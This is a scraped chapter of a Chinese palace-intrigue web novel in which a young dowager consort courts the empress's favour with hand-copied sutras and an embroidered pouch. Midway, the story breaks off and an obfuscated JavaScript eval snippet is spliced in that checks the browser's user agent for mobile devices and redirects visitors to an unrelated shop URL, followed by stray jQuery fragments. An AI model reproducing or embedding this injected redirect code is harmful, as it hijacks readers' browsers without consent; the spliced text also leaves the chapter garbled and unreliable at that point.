默认冷灰
24号文字
方正启体

10. 招风

作者:蒸蒸欲上本书字数:K更新时间:
    这宫里,路不止一条。


    太后的门堵着,还有别的门可以敲。


    沈青漪唤来秀云,将一沓用素白宣纸仔细抄好的经卷交到她手中。


    墨迹早已干透,字迹清秀工整,一笔一划透着虔诚。


    至少看起来是。


    “去坤宁宫,把这个呈给皇后娘娘。就说我别无所长,唯日日于佛前诚心抄写这《如意经》,祈求上天垂怜,佑我朝国祚,更盼帝后早日得育嫡嗣,福泽绵长,江山永固。”


    秀云接过经卷,有些迟疑:“娘娘,咱们直接去皇后那儿……”


    她怕触怒太后。


    “太后是后宫之主,皇后亦是中宫。我身为先帝妃嫔,为帝后祈福,为皇家子嗣祝祷,乃是本分。皇后娘娘贤德,不会见怪。”


    她看着秀云,压低了声提醒:“恭敬些,灵醒些,我看好你,你可以的。”


    秀云挺起胸脯,重重点头。


    皇后正倚在暖榻上翻看账册,眉宇间浮着一层淡淡的倦色。


    宫人禀报秀云姑姑求见,还带了东西,她略感意外,搁下了册子。


    秀云低着头,捧着经卷进去,规规矩矩行了大礼,将沈青漪的话一字不差,又添了几分真挚情谊,婉转道来。


    皇帝登基数年,后宫不算空虚,可皇嗣艰难,至今未有一儿半女出生。


    前朝争议不断,后宫更是暗流涌动。


    此刻,这位身份尴尬的西宫娘娘,竟如此懂事,献上这样一份心意。


    哪怕只是表面工夫,也做得漂亮,让人舒坦。


    “沈娘娘有心了。”皇后语气温和,“这般诚心,本宫感念。回去转告你家主子,心意本宫领受了,请她务必保重自己身子。”


    秀云正要谢恩告退,外头却传来太监的通传:“皇上驾到——”:


    皇后连忙起身迎驾。


    皇帝迈步进来,脸上有些倦,眼神扫过殿内,落在皇后手中那厚厚一沓经卷上。


    “皇后在看什么?”


    皇后笑着将经卷示意给皇帝看:“西宫送来的,说是亲手抄的,为咱们皇室祈福。”


    她指了指旁边案几上放着的石榴荷包:“还有这个,也是沈娘娘亲手所做,说是给臣妾戴着,讨个多子多福的彩头。”


    皇帝哦了声,伸手拿起荷包。


    荷包上用深浅不同的丝线绣着裂开嘴的石榴,露出里头颗颗饱满鲜红的籽,旁边绕着连绵的瓜蔓与小瓜,寓意“瓜瓞绵绵”。


    绣工极其精致,石榴籽仿佛真能掐出汁水来,瓜叶的脉络都清晰可见。


    他端详片刻,脸上露出些微笑意,转头对皇后道:“她倒是个细心的。”


    手指摩挲着荷包上凸起的绣纹,那细腻的触感让他有些出神。


    忽然,他抬眼看向仍垂首侍立一旁的秀云,玩笑般随意道:“这荷包绣得是好,寓意也佳。只是,怎么只做了一个?朕也缺个这样讨彩头的物件带在身边,沾沾福气。”


    秀云心头一跳,立刻深深屈膝,声音清脆而恭顺:“陛下恕罪!是奴婢疏忽,未曾思虑周全!奴婢这就回去禀报娘娘,定尽快为陛下也绣制一个送来,绝不敢耽误!”


    皇帝见她反应快,态度恭谨,笑了笑,摆摆手:“罢了,朕不过随口一说。告诉你家娘娘,不必着急,慢慢做便是,别伤了眼睛。”


    这话说得平和,甚至算得上体贴。


    秀云又磕了个头,才小心翼翼地退了出去,背上已是一层薄汗,心里却为自家娘娘又添了一分佩服。


    殿内只剩下帝后二人。


    皇帝仍在把玩荷包,似乎颇为喜欢,竟随手就系在了自己腰间的玉佩旁。


    皇后看着他的动作,亲手奉上热茶,笑着说了几句场面话。


    皇帝呷了口茶,目光还流连在荷包上,顺口道:“西宫那位,瞧着是个安静知礼的。她身份特殊,先帝去后,一直深居简出,也不易。你是皇后,后宫之主,平日也多关照着些。衣食寝居,别委屈了,尤其这寒冬腊月,炭火份例上,你酌情厚几分,莫要让她冻着。女儿家,身子骨弱,经不起寒气。”


    皇后垂眼听着,手里稳稳端着茶盘,指尖却收紧。


    她笑着应道:“陛下体贴,臣妾省得。回头就吩咐下去,定不会短了沈娘娘用度,陛下放心。”


    心下不由暗忖。


    沈青漪亏得是先帝名分上的人,是长辈。


    否则,以陛下对子嗣近乎焦虑的渴求,这般颜色,这般气韵的女子,怕早就纳入后宫,百般恩宠了。


    更深一层想,这位娘娘入宫时,先帝已病重,据说并未真正侍寝,至今仍是完璧之身。


    这个念头像根细刺,冷不丁扎进皇后心口。


    前些日子御花园那场宴席,肃王当众折梅相赠的举动。


    如今细想,怕不只是与太后置气,或与陛下博弈那般简单。


    难道他对这位庶母……


    皇后被自己这个想法惊了一下,随即又觉得并非不可能。


    看来,这位沈娘娘,不得不重视了。


    次日,皇后身边最得力的徐嬷嬷,带着足足两筐上好的银霜炭、几匹御寒锦缎和皮料、并几匣子精致的宫廷点心,浩浩荡荡去了西宫。


    徐嬷嬷是宫里的老人了,规矩礼数一丝不错,话说得更是漂亮周全。


    “皇后感念沈娘娘的诚意。如今寒冬腊月,最是伤身的时候,特命奴婢送来这些微薄之物,请您务必保重。皇后说了,娘娘若缺什么短什么,或是底下人伺候不经心,只管差人来坤宁宫说一声,万万不要委屈了自己。”


    暖阁里,沈青漪受了礼,温言谢过皇后的厚意,态度恭谨又不失身份。


    徐嬷嬷悄悄打量这位传闻中惹得先帝晚节不保的话题人物,只见她衣着素净,容颜清丽,举止从容有度,并无半点狐媚或轻狂之态,心下也添了几分好感。


    回去向皇后回话时,自然又说了不少好听的。


    秀云喜滋滋将银霜炭添进火盆里。


    这炭果然不同,烧起来只有淡淡的松木清香,几乎没有烟气。


    火势旺而持久,映得一室暖融融、亮堂堂。


    “小姐,您瞧这炭,还有这缎子这皮子,都是顶好的货色!”秀云摸着光滑的锦缎,脸上是掩不住的兴奋。


    “皇后宫里的东西就是不一样,看以后谁还敢在份例上克扣咱们,给些黑炭烟炭糊弄事!”


    沈青漪慵懒倚在临窗暖榻上,身下垫着厚厚的皮褥子,怀里抱着个热乎乎的小手炉。


    炭火的光映在她脸上,晕开一片柔和红晕。


    看着秀云雀跃的模样,她唇角弯了下,笑意很浅,未达眼底。


    厉害么?或许吧。


    不过是看准了人心里的窟窿,顺手递过去一块形状合适的补丁罢了。


    太后那边路险,她便绕个弯,去敲皇后的门。


    皇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058638|194944||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后最缺什么?最盼什么?


    她是不可能往人肚子里塞娃娃的。


    但表面上的诚意要够。


    她舒展了一下有些僵硬的脖颈,将手炉换到另一侧怀里抱着。


    窗外,天色正一点点暗下来。


    漫长的宫夜,又要开始了。


    总不能,真就这么守着活寡,顶着个虚无的先帝太妃名头,在这金丝笼里无声无息地熬到老,熬到死。


    那多无趣。


    西宫这边,除了沈青漪,还零星住着几位太嫔,太贵人。


    这几位悄没声息的,关起门过自己的日子。可近些时候,她们似乎也觉出点不对味儿来,走动勤了不少,时不时就过来探探口风。


    住得最近的陈太嫔,端着一碟自己做的梅花酥过来串门。


    人还不到四十,说话做事都慢吞吞的,带着一股子怎么也晒不暖的暮气。


    “喏,尝尝,用去年收的梅花雪水和的面,不怎么甜。”陈太嫔把碟子往沈青漪跟前推了推,随口就是唠。


    “听说前阵子,慈宁宫后头走了水?没吓着你吧?”


    沈青漪拈起一块酥,小小咬了一口,笑道:“劳姐姐惦记,就是虚惊一场。太后和皇后仁厚,赏了不少东西压惊。”


    陈太嫔点点头,目光一转,在沈青漪身上光鲜亮眼的锦缎袄子上停了下,又挪开。


    “没吓着就好,咱们这些人啊,可经不起吓了。”


    她叹口气,“你还年轻,有些事未必看得透。这宫里头的热闹,看看就得了,千万别往前凑。咱们是什么人?是先帝爷留下的人,是老黄历了。新朝的事儿,再风光,跟咱们也不相干了。安安分分地,有口安稳饭吃,有个地方容身,平平安安熬到头发白,就是天大的造化。”


    一番话推心置腹,带着过来人的怜悯,也藏着点说不清的告诫。


    沈青漪垂下眼,点点头:“姐姐说得是,我记住了。”


    没过两天,另一位性子更闷的赵太贵人,散步时碰巧遇着了沈青漪。


    赵太贵人话更少,只站在一株老梅树下,盯着沈青漪看了好一会儿,才慢吞吞吐出几句:“树大招风,咱们这种没根基的,越是没人留意,活得越久。”


    说完,也不等沈青漪答话,佝偻着背,慢慢挪走了。


    就连平日只躲在屋里念佛,好像万事不入心的李太嫔,赶在几人去佛堂上香时,也仿佛自言自语般飘来:“佛前讲究个心净,最忌心里头还挂着红尘俗念,不干不净。”


    她们都在用各自的方式点她,劝她,也是警告她。


    别冒头,别惹眼,老老实实缩着。


    在这锦绣堆成的坟里头,悄没声儿地等到油尽灯枯。


    才是她们这类人该有的,也是唯一能有的活路。


    沈青漪面上总是和气的,应承得滴水不漏,仿佛听进了心里。


    实则凭什么?


    她才刚满二十,大好年华,皮肤是饱满的,血是热的。


    若不及时行乐,待年华老去,想玩都力不从心了。


    沈青漪靠在暖阁窗棂边,望着外头灰蒙蒙的天。


    窗外风紧了,卷起地上零星雪沫子。


    她抬手,关上了半扇窗,把寒气挡在外头。


    屋里头,炭火烧得正红,暖意一层层裹上来。


    她转过身,走到妆台前,铜镜里映出一张年轻姣好的脸。


    养老?且早着呢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)